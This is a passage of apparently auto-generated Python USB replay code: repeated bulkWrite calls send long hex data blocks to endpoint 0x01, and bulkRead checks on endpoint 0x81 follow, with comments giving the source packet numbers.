b\"\\x37\\x39\\x88\\x5A\\x0B\\xCF\\xB4\\x73\\x05\\xCC\\x7A\\x3B\\xFD\\xC8\\x10\\xC1\"\n b\"\\x4C\\x18\\x9D\\xAC\\x52\\x30\\x18\\x16\\xF5\\xAD\\xBD\\xC2\\x6B\\x03\\xDF\\xC1\"\n b\"\\x18\\x34\\x68\\x5C\\x77\\x89\\xDE\\x13\\x65\\xA2\\xC4\\x67\\x7D\\x08\\x58\\x9C\"\n b\"\\xCF\\x16\\x97\\xE0\\xB2\\x2C\\x57\\xDB\\x97\\xAE\\xA9\\xF0\")\n # Generated from packet 2499/2500\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2499/2500\")\n # Generated from packet 2501/2502\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA8\\x65\\xC0\\x70\\x7E\\x56\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9E\\xB0\\x9D\\x44\\xAB\\x85\\x56\\xF7\"\n b\"\\xB1\\x02\\xC5\\x8B\\x73\\x91\\x77\\x47\\x78\\xF6\\xE0\\x1C\\x43\\x08\\x87\\x36\"\n b\"\\xBE\\xD5\\xBF\\xA0\\x01\\x06\\x9A\\x0A\\x7A\\xFC\\x0C\\xE3\\xF7\\xE3\\xDF\\x0A\"\n b\"\\x29\\x67\\xE9\\x75\\xEF\\x5D\\x7B\\x52\\xE2\\x44\\xB5\\xED\\x7E\\x47\\x53\\xCC\"\n b\"\\xD9\\x39\\x1E\\x09\\xA5\\xE2\\x2E\\x34\\x6B\\x52\\x5C\\x4C\\x97\\xD9\\x62\\x6D\"\n b\"\\x2B\\x37\\xE8\\xEF\\xDD\\xB8\\xF1\\x4A\\xD0\\x48\\x72\\xF4\\x51\\x92\\x1E\\x33\"\n b\"\\x6C\\xC6\\x0A\\xBB\\xCD\\x2C\\x79\\xEB\\xF9\\x1D\\xD3\\x12\\x8A\\x33\\x2E\\xEB\"\n b\"\\xA0\\x09\\x39\\x64\\x9F\\x19\\x76\\x93\\xB0\\x16\\xCB\\x88\\x18\\xB0\\x97\\x0C\"\n b\"\\x18\\x4B\\x1D\\xA0\\x1C\\x26\\x20\\x48\\xC7\\xC0\\x50\\xCE\\x1A\\x38\\xB4\\x3A\"\n b\"\\x27\\xE7\\x1E\\xFF\\xF3\\xEE\\xA6\\xE6\\xAE\\xB4\\x75\\x70\\x01\\xF1\\x88\\xCB\"\n b\"\\xD2\\xE2\\x1F\\xDF\\x68\\xE8\\x23\\x89\\xA9\\xB2\\x5C\\x43\\x0F\\x3E\\x1A\\x94\"\n b\"\\x67\\xA4\\x5B\\x44\\xB6\\x42\\x4A\\x6C\\xAC\\x27\\x71\\x14\\xB2\\x0B\\x57\\xA4\"\n b\"\\xA3\\xB8\\xC1\\x15\\xF2\\x0A\\x18\\xB0\\x63\\x88\\x49\\x82\\x85\\xDF\\x87\\xB6\"\n b\"\\x06\\xC5\\x25\\xCD\\x98\\x74\\x00\\x74\\x9A\\x72\\x19\\x8D\\xCD\\xC7\\xE1\\x01\"\n b\"\\xC6\\x2B\\x90\\x5C\\x80\\xAC\\x40\\x3A\\xF2\\xA8\\xE9\\xD4\\xC2\\xAD\\x93\\x1D\"\n b\"\\x20\\x16\\x50\\x50\\x6B\\xF3\\x61\\x7E\\x1A\\xFB\\xBA\\x6B\\x68\\x47\\x5F\\xE0\"\n b\"\\x64\\xC4\\x01\\xA7\\xB5\\xD9\\x7B\\x85\\x9B\\xAA\\x08\\x58\")\n # Generated from packet 2503/2504\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2503/2504\")\n # Generated from packet 2505/2506\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB4\\x29\\x6B\\xB4\\xCA\\x5C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x74\\xB9\\xC7\\x38\\xD0\\x74\\xFD\\xEC\"\n b\"\\x76\\xBA\\x25\\x56\\x53\\x6A\\x00\\x9E\\xF3\\x2F\\xC2\\xFD\\x48\\xA2\\x7A\\xB4\"\n b\"\\x29\\x7E\\x1C\\x12\\x10\\x09\\x3C\\xB6\\x52\\x6D\\x4F\\x12\\xBA\\x76\\x52\\x44\"\n b\"\\x52\\x8E\\x1E\\x25\\x74\\xED\\x5A\\xAF\\xB5\\x6F\\xE2\\xD5\\x96\\x88\\xBA\\xCB\"\n b\"\\xD7\\xE9\\x17\\x95\\x9B\\x5B\\x9B\\xBA\\x54\\xA6\\xD7\\x4C\\x41\\x5C\\x2C\\x4B\"\n b\"\\x9A\\xE6\\x56\\x16\\xAA\\xB3\\x85\\x87\\xEF\\xAF\\x2A\\xDD\\x41\\xEB\\xE1\\x1C\"\n b\"\\xB3\\x16\\xFA\\xF4\\x67\\xFE\\x96\\x8E\\xEB\\x18\\x1E\\x61\\x42\\xE0\\x42\\x3D\"\n b\"\\x16\\xC8\\x8C\\xB7\\x4B\\x33\\xA7\\x34\\xF3\\x43\\x45\\xB6\\x10\\x44\\xB0\\x74\"\n b\"\\x78\\x89\\x85\\x81\\x80\\x06\\x53\\xC9\\x82\\xCB\\xD3\\xFD\\xCF\\xCE\\xFA\\x87\"\n b\"\\x6A\\x6D\\xD6\\xA2\\x95\\x4B\\xCA\\x21\\x3F\\x42\\xF6\\x32\\xF3\\x5C\\xBB\\xA1\"\n b\"\\x0D\\x04\\xCD\\x86\\x96\\x19\\x84\\x44\\x9B\\xD0\\x01\\x4F\\x4E\\x5B\\xF3\\x73\"\n b\"\\xF3\\x41\\x26\\x78\\xBD\\xC9\\x23\\x4E\\x04\\xDE\\x8C\\x8F\\xCD\\xCC\\x87\\xAA\"\n b\"\\x7F\\x60\\x44\\x0B\\x4C\\x32\\xFA\\xEC\\x23\\x73\\xAE\\x2A\\x1A\\xEF\\xFB\\x93\"\n b\"\\x0B\\x42\\x7C\\x01\\x5B\\xA2\\x2E\\x30\\x31\\x48\\x9B\\x23\\xD4\\x24\\xE8\\x0C\"\n b\"\\xCE\\xF7\\x0A\\xDE\\x74\\x96\\xAA\\x8C\\x20\\xCE\\x73\\xB4\\x0A\\x6C\\x16\\xF1\"\n b\"\\x4B\\x07\\xE3\\x77\\xFF\\x17\\x79\\x9A\\x27\\xA4\\x40\\xFB\\x7F\\xA5\\xFA\\xFD\"\n b\"\\x18\\x65\\x40\\x92\\xE8\\x91\\x14\\x3E\\xF4\\xA8\\x79\\x81\")\n # Generated from packet 2507/2508\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2507/2508\")\n # Generated from packet 2509/2510\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD6\\x46\\x18\\x46\\x6F\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB3\\xCC\\xA6\\x68\\x46\\xF0\\x3D\\xED\"\n b\"\\x5D\\x7E\\x57\\xD2\\x89\\x15\\xB5\\x28\\xA1\\x95\\xCA\\xCC\\x99\\x3F\\x2B\\xEA\"\n b\"\\x94\\xA2\\x04\\x75\\xA4\\x3A\\xD7\\x90\\xE7\\xF0\\xDA\\x3E\\x4D\\x66\\x63\\x1C\"\n b\"\\xFF\\xCF\\x90\\x60\\xBA\\x75\\xAA\\x3F\\xB0\\xD5\\xF6\\x9F\\x8E\\x20\\x89\\x85\"\n b\"\\xDF\\xA6\\x8B\\x18\\x84\\xD4\\xCE\\xDF\\x41\\x7E\\x34\\xB3\\x0F\\x40\\x6E\\xC0\"\n b\"\\x2B\\x89\\x00\\x10\\x41\\xCF\\xDB\\xE7\\xB3\\xA4\\xD2\\xF7\\x97\\x8F\\xC5\\x89\"\n b\"\\x51\\x1E\\xF3\\x3F\\x45\\x37\\xE0\\x0E\\xE3\\xA1\\x43\\xF4\\xD4\\xB0\\xC8\\xA0\"\n b\"\\x42\\x26\\x84\\x89\\x50\\x7A\\x87\\xF3\\xCB\\xDA\\x78\\x80\\x47\\xCA\\xDD\\xFC\"\n b\"\\x09\\xED\\x5B\\xBB\\x60\\xC1\\xA5\\xEF\\x5A\\xA2\\x26\\x94\\x87\\xD1\\x2C\\xA5\"\n b\"\\x79\\x25\\x4E\\x2D\\x29\\xE2\\x3C\\xD5\\x68\\x32\\x5E\\x08\\x99\\x76\\xE0\\x47\"\n b\"\\x22\\x53\\xAD\\x9F\\x6D\\x1F\\x93\\xCA\\x73\\xD3\\xC3\\x31\\x7E\\x29\\x7C\\xB1\"\n b\"\\x8B\\x4F\\xF1\\xC7\\xAB\\xE4\\x81\\xF2\\x94\\x59\\x78\\x4B\\x1C\\xA0\\xEF\\x90\"\n b\"\\x9D\\xF4\\x36\\x27\\x42\\x68\\x99\\x68\\x62\\x89\\x4E\\x16\\x61\\x40\\x27\\xC2\"\n b\"\\xA2\\x27\\x06\\xE2\\x7B\\x69\\x2A\\x6E\\x22\\xE1\\x79\\x38\\x35\\xAB\\x1E\\xDD\"\n b\"\\x38\\xDF\\xA6\\x2E\\x9D\\xF1\\x00\\x41\\xE5\\xBA\\x88\\xC3\\x10\\xD2\\x7B\\x46\"\n b\"\\xAE\\x58\\x4A\\x90\\xD2\\x3B\\x43\\xB4\\xEA\\x22\\x21\\x72\\x9B\\x1A\\x2D\\xA0\"\n b\"\\xB4\\x67\\x0B\\x30\\x9F\\x85\\x03\\x59\\xE2\\x24\\x39\\x5E\")\n # Generated from packet 2511/2512\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2511/2512\")\n # Generated from packet 2513/2514\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA0\\x38\\x9F\\xA9\\xD5\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3F\\xB2\\x9D\\xC6\\x0A\\x33\\x98\\x72\"\n b\"\\xE6\\x21\\x25\\x2F\\xFA\\x90\\x36\\x09\\xAE\\xB7\\xC2\\x97\\x60\\xC1\\x0A\\xF4\"\n b\"\\x2A\\x46\\x65\\x1F\\x0A\\x5E\\x03\\xE0\\x5C\\x4B\\x4B\\x41\\xBD\\x24\\xA2\\xE0\"\n b\"\\xC4\\x4B\\x18\\x06\\xD9\\x69\\x47\\x56\\x6C\\xB3\\x38\\x16\\x66\\x92\\x66\\xA2\"\n b\"\\xE0\\xCC\\x2D\\x5B\\x0B\\xD6\\x00\\x78\\x85\\x3A\\xE5\\xC5\\xA4\\x10\\xA2\\x04\"\n b\"\\x1F\\x7B\\x02\\xE8\\xB5\\xBF\\x9C\\x24\\xB0\\x0C\\xE8\\xD0\\x5D\\xED\\x33\\xE1\"\n b\"\\x0E\\x35\\x78\\xF2\\x7C\\xEF\\x79\\x7B\\x96\\x28\\x5C\\x3B\\x6F\\xB5\\x4B\\x35\"\n b\"\\xCA\\x1C\\xAA\\x5F\\xC7\\x06\\x2B\\xD6\\x22\\x19\\xFF\\x66\\xC2\\x51\\xC4\\xFA\"\n b\"\\x59\\xBE\\x03\\x2F\\x4B\\x05\\x67\\x7E\\x4A\\x4D\\xD8\\xD4\\xB4\\xAD\\xA0\\x83\"\n b\"\\xA8\\x09\\x13\\x40\\x1C\\x80\\x99\\xDF\\x99\\x77\\x7A\\x32\\x3A\\x12\\x70\\x85\"\n b\"\\x47\\xF1\\xD3\\x34\\xC6\\xBC\\x60\\x50\\x7D\\xEB\\x1A\\x86\\xC8\\x0F\\x6C\\x70\"\n b\"\\x54\\xC6\\x27\\x6E\\x15\\x2F\\xE8\\xF8\\xA3\\x2E\\x2B\\x7A\\x77\\xB2\\x5B\\x2A\"\n b\"\\x86\\x91\\x13\\x0C\\x6C\\x40\\x16\\xAF\\xD4\\x48\\xA6\\xB6\\xB1\\x4F\\x09\\x35\"\n b\"\\xD3\\x83\\x59\\xCA\\x66\\x8C\\x92\\xE2\\x72\\x3C\\x02\\x6C\\x3E\\xAA\\x53\\xA4\"\n b\"\\x4E\\x7A\\x4D\\x1B\\x75\\x30\\x91\\xE9\\x43\\x67\\x7B\\xBD\\x42\\x25\\x94\\x4C\"\n b\"\\x10\\x0B\\x6C\\xB0\\xED\\xF9\\x5F\\x68\\xBA\\xC1\\xE7\\x3E\\x35\\xB4\\xAD\\x6A\"\n b\"\\x62\\x36\\x8B\\x76\\xD3\\x99\\xCE\\x81\\xBA\\xCA\\x46\\x3C\")\n # Generated from packet 2515/2516\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2515/2516\")\n # Generated from packet 2517/2518\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF8\\xA7\\xDD\\xFA\\xCF\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x72\\x03\\x3B\\xFE\\xAB\\x6F\\x1D\\x26\"\n b\"\\xA0\\x48\\xC2\\x37\\xA2\\x97\\xDC\\xEE\\x81\\x86\\xD5\\x0C\\x52\\xCE\\x6F\\x3A\"\n b\"\\xEC\\x94\\x85\\x1D\\x42\\x49\\x61\\x96\\x6D\\xB5\\x3A\\xE3\\xE5\\x69\\x9A\\x50\"\n b\"\\xC1\\xB7\\x1F\\x12\\x69\\x24\\x3E\\x3B\\xD1\\x39\\xE4\\xFA\\x23\\xEC\\x82\\xA3\"\n b\"\\xD4\\x85\\x65\\x14\\xAE\\xEE\\x3A\\x72\\x8C\\x7B\\x6A\\xF5\\xD5\\xF1\\x14\\xA6\"\n b\"\\x61\\x26\\x0D\\x67\\x1A\\x94\\xBD\\xCC\\x56\\x94\\xE2\\xED\\xE7\\xD2\\x20\\xD4\"\n b\"\\x1E\\xD1\\xC6\\x48\\x39\\xD3\\x71\\x0D\\x5F\\x2B\\xE8\\xCC\\xE7\\x91\\x15\\xF1\"\n b\"\\x6D\\x2F\\x69\\x96\\x72\\x83\\x94\\x54\\x24\\xFF\\xEF\\x0A\\x52\\xB7\\x20\\x11\"\n b\"\\x85\\x47\\x9E\\x5D\\x07\\x6C\\x76\\xF8\\x80\\xD4\\x04\\x5F\\x0C\\xE4\\xC8\\x2D\"\n b\"\\x9A\\x96\\xF8\\x8B\\x08\\xC7\\x11\\x62\\x6E\\x12\\xC3\\x74\\xD3\\xAD\\x9D\\x44\"\n b\"\\x5C\\x05\\x93\\xA9\\xB6\\x93\\x4E\\xF1\\x07\\xBF\\x8F\\x9A\\x80\\x02\\xE5\\x12\"\n b\"\\xA4\\xEB\\xC2\\x50\\xF0\\x62\\xFF\\x79\\x11\\x85\\x95\\x04\\x8D\\x07\\x77\\x4F\"\n b\"\\xE4\\x03\\x6C\\x19\\xFE\\xDF\\x13\\xE2\\x91\\x29\\xF9\\x5C\\xA4\\xDC\\xF8\\x18\"\n b\"\\x45\\x93\\xDC\\x72\\x1B\\x26\\xC4\\xA7\\x6A\\x89\\x46\\xBC\\x34\\x27\\xD4\\x3F\"\n b\"\\xAC\\xA3\\x19\\x88\\x5C\\x4C\\x22\\x66\\x4F\\x0A\\x7C\\xAC\\x55\\x40\\x1B\\x0D\"\n b\"\\xBD\\x33\\xCD\\xBB\\x6B\\xDC\\x6C\\xE1\\x28\\xDC\\x2D\\x9B\\x04\\xDB\\x94\\x4C\"\n b\"\\x25\\x3D\\x1A\\x70\\xDE\\x27\\x8B\\x66\\x24\\x09\\xC7\\x12\")\n # Generated from packet 2519/2520\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2519/2520\")\n # Generated from packet 2521/2522\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x32\\x86\\xFF\\xF3\\xD3\\x53\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x57\\xD9\\xC7\\x38\\xE2\\x97\\xEE\\x6C\"\n b\"\\x1F\\x95\\x83\\xCE\\xA3\\x2A\\x10\\xD0\\x72\\xCF\\x7A\\x6F\\xC3\\x25\\x26\\xC8\"\n b\"\\x2E\\x51\\xDD\\x9E\\x32\\x48\\x8E\\xCD\\x35\\x15\\xD0\\xB0\\x27\\x8C\\x1F\\xEE\"\n b\"\\xCF\\x4E\\xC2\\x36\\xFD\\x20\\x0A\\x53\\xB6\\x47\\x40\\xFF\\xC3\\x69\\x38\\x2A\"\n b\"\\xEA\\x00\\xAA\\x38\\xA8\\xFA\\x2B\\xEA\\x3D\\xC7\\x9A\\x5E\\xA1\\x0D\\x71\\x78\"\n b\"\\x05\\x60\\xC7\\x82\\x89\\x32\\x0A\\x25\\xC2\\x6C\\xBE\\x9F\\x42\\x03\\xCB\\x04\"\n b\"\\x2C\\x56\\xEE\\x3E\\x01\\x84\\xF1\\x98\\xEE\\xA3\\xDE\\xA4\\xDF\\xA3\\x7A\\x60\"\n b\"\\x25\\x4B\\x5A\\xF5\\x25\\x81\\xD1\\xB4\\xF5\\x32\\x3C\\xDE\\xB3\\xE5\\xA6\\x2A\"\n b\"\\xDB\\x08\\x8E\\x01\\x99\\x8D\\x25\\xD3\\x8F\\x10\\x77\\xC1\\x9C\\xF7\\x7B\\x34\"\n b\"\\xBD\\xFC\\xB6\\xF7\\x9D\\x13\\x93\\x8E\\x1C\\xBF\\x11\\x27\\x8A\\xA5\\xDD\\x13\"\n b\"\\x2E\\x25\\x01\\x28\\x52\\x7A\\x35\\xD5\\x38\\xB0\\xC8\\x60\\x13\\x67\\xD2\\xDB\"\n b\"\\x99\\x21\\x6A\\xF3\\x1F\\xA0\\xB7\\x6C\\x87\\x27\\x4E\\xE7\\xFE\\x95\\x18\\x08\"\n b\"\\xC2\\xF1\\x4F\\xFD\\x7B\\xBF\\x28\\xB4\\x15\\x86\\x08\\x66\\x3F\\x7C\\x87\\x83\"\n b\"\\x1B\\x02\\xAE\\x45\\x61\\x41\\x2D\\x01\\x76\\x89\\x38\\x29\\xA5\\x60\\xE6\\xAD\"\n b\"\\x93\\x1F\\xC4\\x76\\xF3\\x5D\\x60\\xA0\\x28\\xE3\\xC5\\x91\\x5C\\x16\\x4B\\x3B\"\n b\"\\x4C\\x1B\\x73\\x17\\xB0\\xEE\\xB6\\x34\\xFB\\x24\\x70\\x1B\\xC5\\x19\\x33\\x69\"\n b\"\\x76\\x35\\x92\\xBA\\xEA\\x9C\\x0F\\x9E\\xFB\\xA6\\x43\\x46\")\n # Generated from packet 2523/2524\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2523/2524\")\n # Generated from packet 2525/2526\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB6\\xEE\\x01\\x62\\xA1\\x45\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA6\\x13\\x4E\\xC3\\xE8\\x6A\\x27\\x5B\"\n b\"\\x44\\xA4\\xDA\\x5D\\xA0\\xBA\\x1E\\x49\\x89\\xC1\\x6E\\xE6\\x4C\\x34\\x59\\xD0\"\n b\"\\xA3\\x03\\x92\\x2A\\x1D\\xB7\\xE9\\xB1\\x98\\xD2\\x45\\x9B\\x23\\xD0\\x8B\\x29\"\n b\"\\xCC\\x32\\xA5\\x2B\\x3A\\x98\\xF4\\x22\\xB0\\x73\\x50\\x31\\xB6\\x1D\\x39\\xE3\"\n b\"\\x17\\x19\\x64\\x7A\\xF7\\x52\\xE2\\x5B\\x91\\xA3\\x53\\x5A\\x08\\x38\\x75\\xF8\"\n b\"\\x1E\\x17\\x46\\x34\\x99\\xD4\\xE0\\x23\\xC7\\xBE\\x05\\x23\\xC6\\xD4\\xB9\\x37\"\n b\"\\x2D\\xC8\\x25\\x63\\x02\\x81\\xBF\\x6B\\xF7\\x02\\x47\\xB2\\xF1\\x50\\x97\\xDE\"\n b\"\\x13\\xC2\\x0D\\x0C\\x54\\x37\\x00\\x2A\\xA9\\x64\\xF3\\xB1\\x56\\x66\\xC8\\x29\"\n b\"\\x6E\\xA5\\xE8\\xB3\\x44\\xBA\\x41\\x7A\\x11\\x62\\x16\\xAC\\x6A\\x97\\x3D\\x2C\"\n b\"\\x4E\\xA7\\xE7\\x98\\xD7\\x96\\xF1\\xB8\\x97\\xCC\\x07\\x1D\\xEE\\x49\\x42\\x91\"\n b\"\\xFB\\xB8\\x69\\x4B\\x26\\x14\\x62\\xA6\\x2D\\xFE\\x8B\\x73\\x0F\\xB2\\xFC\\x8A\"\n b\"\\xBD\\x78\\x77\\x42\\x5C\\xC7\\xF4\\xF4\\xA3\\xAD\\x84\\x5F\\xFF\\x65\\x47\\xAF\"\n b\"\\x31\\xCC\\xC8\\x00\\x77\\x12\\xFE\\xB2\\x41\\xA7\\xB3\\x73\\x9F\\x29\\xE4\\xE2\"\n b\"\\x43\\x74\\x31\\x48\\xD4\\xEB\\x3D\\x02\\x93\\x64\\x17\\x1A\\xE5\\x5D\\x12\\xBE\"\n b\"\\xDF\\x52\\x78\\xE1\\x19\\xA1\\x51\\x73\\xAE\\x4B\\xF9\\x27\\x15\\x3B\\xA1\\x65\"\n b\"\\x57\\xEB\\x08\\x43\\x03\\x93\\x88\\x58\\xA4\\xBD\\x23\\x8A\\xEC\\xB3\\xB4\\x96\"\n b\"\\xE2\\xFF\\x5E\\xD6\\x5B\\x9B\\xFD\\xAA\\x0C\\x1A\\x7E\\x1C\")\n # Generated from packet 2527/2528\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2527/2528\")\n # Generated from packet 2529/2530\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8E\\x54\\x57\\x26\\x95\\x0C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x31\\x37\\xAF\\x0C\\x8D\\x49\\xA8\\x17\"\n b\"\\x63\\x46\\xFD\\x7A\\x6B\\x06\\xC2\\x29\\xFE\\xCF\\x60\\x7B\\x4D\\xB2\\xAB\\x49\"\n b\"\\xA1\\x4C\\x1D\\xBD\\xB1\\xB4\\x2D\\x98\\x4A\\xE5\\xEE\\x3A\\xAD\\x8B\\xF3\\x9D\"\n b\"\\x53\\x32\\xE1\\x43\\x85\\xD2\\x0A\\xE6\\xC2\\x44\\x27\\xF9\\x20\\x2C\\xB9\\xF1\"\n b\"\\xFF\\x55\\x57\\xDB\\xB4\\x11\\xF7\\x63\\xB1\\x4A\\xDF\\x68\\xAE\\xD2\\x82\\xFC\"\n b\"\\x8C\\xA6\\x1A\\xAF\\xDC\\xDE\\x5F\\x83\\x70\\xCF\\x9D\\xCB\\x99\\x21\\x6B\\x87\"\n b\"\\xFF\\x17\\x7E\\xAE\\x9A\\x96\\xA1\\x7A\\x97\\xD5\\x79\\x2D\\x16\\x99\\xDF\\x44\"\n b\"\\xBF\\x76\\x78\\x0A\\x2D\\x96\\xF1\\x53\\xC1\\x27\\xC9\\x9A\\xD9\\xA0\\x2E\\xD8\"\n b\"\\xBF\\x83\\x5D\\x32\\x3D\\xB7\\x15\\xD3\\xA2\\xC0\\x58\\x13\\x52\\x5F\\xD7\\xE0\"\n b\"\\x46\\x17\\xCE\\x9D\\x5D\\x96\\xD9\\x82\\x4A\\x98\\x16\\x08\\x96\\x6F\\x70\\xC5\"\n b\"\\x55\\xEF\\x4B\\xB9\\x59\\xBA\\xA0\\x28\\xA1\\x0F\\xD7\\xC7\\x27\\x72\\xBA\\x6F\"\n b\"\\x2E\\x2D\\xE6\\x7C\\xFD\\xD2\\xDC\\xEF\\xF8\\x73\\x78\\x20\\x89\\x59\\xAC\\x55\"\n b\"\\xC0\\x05\\x0B\\x6D\\x3F\\x77\\xCE\\xB4\\xF4\\xA7\\x66\\x51\\x31\\xD6\\x70\\x8A\"\n b\"\\x29\\xE1\\xF9\\x95\\xF8\\x1E\\x5F\\x97\\x6D\\x80\\x81\\x9D\\x98\\x0E\\xCE\\x0A\"\n b\"\\x51\\x94\\x38\\x9C\\x4F\\xB8\\x2E\\xEE\\x68\\xB3\\xCE\\x07\\x56\\xBB\\x16\\xD5\"\n b\"\\x1D\\x9A\\xF3\\x8E\\xCA\\x40\\x5F\\x7C\\xF2\\x21\\xF2\\xC1\\xDF\\x8F\\x9F\\x0C\"\n b\"\\x24\\x36\\x0D\\x1F\\x7F\\x6E\\x4E\\x35\\x0C\\x70\\x56\\x00\")\n # Generated from packet 2531/2532\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2531/2532\")\n # Generated from packet 2533/2534\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE7\\x55\\xF4\\xB6\\xCE\\x45\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFB\\x75\\x67\\x61\\x30\\xD0\\xB0\\xCF\"\n b\"\\xF6\\x29\\x93\\x1C\\xC0\\x99\\x2B\\xDE\\xD5\\xEE\\x0A\\x8D\\x7E\\x3F\\xC4\\x77\"\n b\"\\x3A\\xE5\\xA4\\xD1\\xB4\\x83\\x24\\xE9\\xA1\\x18\\x92\\x5D\\xCC\\x7F\\x93\\xDB\"\n b\"\\xC0\\xBC\\x04\\x98\\x58\\x63\\xD4\\xFB\\x5E\\xA2\\x5C\\xA7\\xC8\\xD8\\x8E\\xFD\"\n b\"\\x97\\xA6\\x9E\\x59\\x94\\x52\\x09\\xD0\\xEB\\x6C\\x3D\\x1C\\xD4\\x75\\x5D\\x18\"\n b\"\\x24\\x82\\x88\\xB4\\xCB\\xCE\\x7E\\xD9\\xC1\\x01\\x3A\\xB7\\x77\\x37\\x30\\xED\"\n b\"\\x2B\\x39\\xE9\\x77\\xE6\\x53\\x5D\\x4D\\x2B\\x70\\x95\\x7F\\x62\\xF2\\x21\\x57\"\n b\"\\x19\\x26\\xFB\\x54\\x37\\xDD\\x3B\\x97\\xF8\\xF1\\x3C\\xD6\\x7D\\xE8\\xD8\\xFA\"\n b\"\\x13\\x16\\xBD\\xEE\\x86\\x2A\\x55\\xDE\\x5E\\x2F\\xCF\\x99\\x73\\x7C\\x4E\\xCA\"\n b\"\\xF2\\x7E\\x80\\x10\\xFD\\x78\\x7E\\xDD\\xC5\\xDE\\xE7\\x3F\\x2D\\xA8\\xF5\\x2E\"\n b\"\\xE0\\x29\\x59\\x77\\xC6\\x76\\xD3\\xB0\\x46\\x0F\\xFE\\x33\\xF3\\xAF\\x08\\xC9\"\n b\"\\x84\\x5D\\x38\\x82\\xFE\\x70\\xE8\\x86\\x37\\x8D\\xDC\\x42\\xD7\\x4A\\xBE\\xC6\"\n b\"\\xEE\\x52\\x36\\x52\\x4A\\xB5\\x51\\xEC\\xFB\\x0E\\xCF\\x35\\xF0\\x15\\xD3\\x34\"\n b\"\\xAC\\x7A\\x55\\x26\\xB5\\xA7\\xD0\\xBD\\x99\\x3E\\xF3\\x68\\x17\\x0E\\xEF\\xD0\"\n b\"\\xCE\\x47\\xFF\\x52\\x85\\xB6\\xCF\\x4E\\x0D\\x8B\\xB2\\x3D\\xD0\\x6E\\x27\\xC5\"\n b\"\\xE7\\xF0\\xA1\\x57\\xE9\\xDF\\x22\\x29\\xE0\\x8D\\x5F\\x46\\xC3\\x46\\x0D\\xB7\"\n b\"\\xA9\\x03\\xC8\\xF3\\xE7\\x07\\xFD\\xA6\\x10\\x32\\x63\\x41\")\n # Generated from packet 2535/2536\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2535/2536\")\n # Generated from packet 2537/2538\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x62\\x82\\xDC\\x9D\\x5A\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD5\\xE1\\xF0\\x31\\xA2\\x9A\\x7D\\xCD\"\n b\"\\x00\\x6A\\x7A\\xE6\\xF6\\x9A\\x23\\xC2\\x8C\\xD6\\x2E\\x8E\\xC4\\x58\\xDA\\xE6\"\n b\"\\x09\\xBD\\xB3\\x96\\x4F\\x2E\\x26\\x06\\x79\\xDC\\x1D\\xDF\\xE7\\xCA\\x05\\xB5\"\n b\"\\x77\\x5B\\xF8\\x29\\xB7\\xE7\\x1B\\x4B\\xA5\\x26\\x8A\\x7A\\xF0\\x5C\\x5A\\xD6\"\n b\"\\xD0\\x42\\x6F\\x76\\x9D\\x34\\x36\\xF5\\x95\\xAB\\xAF\\xFC\\xBA\\x03\\xB5\\x62\"\n b\"\\x41\\x0F\\x2D\\xE9\\xFB\\xC5\\x7D\\x5E\\x15\\x18\\x89\\x88\\x7D\\x85\\x67\\xD7\"\n b\"\\x70\\x87\\x6F\\x61\\xF1\\x5F\\x16\\x27\\x75\\x24\\x62\\xE4\\xCC\\x55\\x86\\xE0\"\n 